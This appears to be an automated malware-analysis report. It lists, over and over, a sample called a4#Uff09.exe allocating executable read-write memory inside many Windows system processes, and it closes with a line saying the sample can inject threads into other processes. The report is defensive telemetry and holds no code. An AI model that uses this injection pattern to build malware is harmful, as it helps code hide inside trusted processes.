Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\fontdrvhost.exe base: A20000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\fontdrvhost.exe base: B20000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\dwm.exe base: 60000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\sihost.exe base: 400000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\svchost.exe base: 60000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\svchost.exe base: 9D0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\ctfmon.exe base: B00000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\explorer.exe base: 8390000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\svchost.exe base: C20000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe base: CF0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 910000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe base: F20000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: A10000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 9A0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\smartscreen.exe base: C0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\ApplicationFrameHost.exe base: 60000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 150000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files\WindowsApps\Microsoft.WindowsStore_11910.1002.5.0_x64__8wekyb3d8bbwe\WinStore.App.exe base: 170000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: C90000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TextInputHost.exe base: 2E0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\conhost.exe base: B00000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\conhost.exe base: A40000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\dllhost.exe base: 230000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\svchost.exe base: 2A0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe base: E00000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\fontdrvhost.exe base: A30000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\fontdrvhost.exe base: B30000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\dwm.exe base: 70000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\sihost.exe base: 410000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\svchost.exe base: 70000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\svchost.exe base: 9E0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\ctfmon.exe base: B10000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\explorer.exe base: 83A0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\svchost.exe base: C30000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe base: D00000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 920000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe base: F30000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: A20000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 9B0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\smartscreen.exe base: D0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\ApplicationFrameHost.exe base: 70000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 160000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files\WindowsApps\Microsoft.WindowsStore_11910.1002.5.0_x64__8wekyb3d8bbwe\WinStore.App.exe base: 180000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: CA0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TextInputHost.exe base: 2F0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\conhost.exe base: B10000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\conhost.exe base: A50000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\dllhost.exe base: 240000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\svchost.exe base: 2B0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe base: E10000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\fontdrvhost.exe base: A40000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\fontdrvhost.exe base: B40000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\dwm.exe base: 80000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\sihost.exe base: 420000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\svchost.exe base: 80000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\svchost.exe base: 9F0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\ctfmon.exe base: B20000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\explorer.exe base: 8850000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\svchost.exe base: C40000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe base: D10000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 930000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe base: F40000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: A30000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 9C0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\smartscreen.exe base: E0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\ApplicationFrameHost.exe base: 80000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 170000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files\WindowsApps\Microsoft.WindowsStore_11910.1002.5.0_x64__8wekyb3d8bbwe\WinStore.App.exe base: 190000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: CB0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TextInputHost.exe base: 300000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\conhost.exe base: B20000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\conhost.exe base: A60000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\dllhost.exe base: 250000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\svchost.exe base: 2C0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe base: E20000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\fontdrvhost.exe base: A50000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\fontdrvhost.exe base: B50000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\dwm.exe base: 90000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\sihost.exe base: 430000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\svchost.exe base: 90000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\svchost.exe base: A00000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\ctfmon.exe base: B30000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\explorer.exe base: 8860000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\svchost.exe base: C50000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe base: D20000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 940000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe base: F50000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: A40000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 9D0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\smartscreen.exe base: F0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\ApplicationFrameHost.exe base: 90000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 180000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files\WindowsApps\Microsoft.WindowsStore_11910.1002.5.0_x64__8wekyb3d8bbwe\WinStore.App.exe base: 1A0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: CC0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TextInputHost.exe base: 310000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\conhost.exe base: B30000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\conhost.exe base: A70000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\dllhost.exe base: 260000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\svchost.exe base: 2D0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe base: E30000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\fontdrvhost.exe base: A60000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\fontdrvhost.exe base: B60000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\dwm.exe base: A0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\sihost.exe base: 440000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\svchost.exe base: A0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\svchost.exe base: A10000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\ctfmon.exe base: B40000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\explorer.exe base: 8880000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\svchost.exe base: C60000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe base: D30000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 950000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe base: F60000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: A50000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 9E0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\smartscreen.exe base: 100000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\ApplicationFrameHost.exe base: A0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 190000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files\WindowsApps\Microsoft.WindowsStore_11910.1002.5.0_x64__8wekyb3d8bbwe\WinStore.App.exe base: 1B0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: CD0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TextInputHost.exe base: 320000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\conhost.exe base: B40000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\conhost.exe base: A80000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\dllhost.exe base: 270000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\svchost.exe base: 2E0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe base: E40000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\fontdrvhost.exe base: A70000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\fontdrvhost.exe base: B70000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\dwm.exe base: B0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\sihost.exe base: 450000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\svchost.exe base: B0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\svchost.exe base: A20000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\ctfmon.exe base: B50000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\explorer.exe base: EF0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\svchost.exe base: C70000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe base: D40000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 960000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe base: F70000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: A60000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 9F0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\smartscreen.exe base: 110000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\ApplicationFrameHost.exe base: B0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 1A0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files\WindowsApps\Microsoft.WindowsStore_11910.1002.5.0_x64__8wekyb3d8bbwe\WinStore.App.exe base: 1C0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: CE0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TextInputHost.exe base: 330000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\conhost.exe base: B50000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\conhost.exe base: A90000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\dllhost.exe base: 280000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\svchost.exe base: 2F0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe base: E50000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\fontdrvhost.exe base: A80000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\fontdrvhost.exe base: B80000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\dwm.exe base: C0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\sihost.exe base: 460000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\svchost.exe base: C0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\svchost.exe base: A30000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\ctfmon.exe base: B60000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\explorer.exe base: F10000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\svchost.exe base: C80000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe base: D50000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 970000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe base: F80000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: A70000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: A00000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\smartscreen.exe base: 120000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\ApplicationFrameHost.exe base: C0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 1B0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files\WindowsApps\Microsoft.WindowsStore_11910.1002.5.0_x64__8wekyb3d8bbwe\WinStore.App.exe base: 1D0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: CF0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TextInputHost.exe base: 340000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\conhost.exe base: B60000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\conhost.exe base: AA0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\dllhost.exe base: 290000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\svchost.exe base: 300000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe base: E60000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\fontdrvhost.exe base: A90000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\fontdrvhost.exe base: B90000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\dwm.exe base: D0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\sihost.exe base: 470000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\svchost.exe base: D0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\svchost.exe base: A40000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\ctfmon.exe base: B70000 protect: page execute and read and write Jump to behavior
Contains functionality to inject threads in other processes
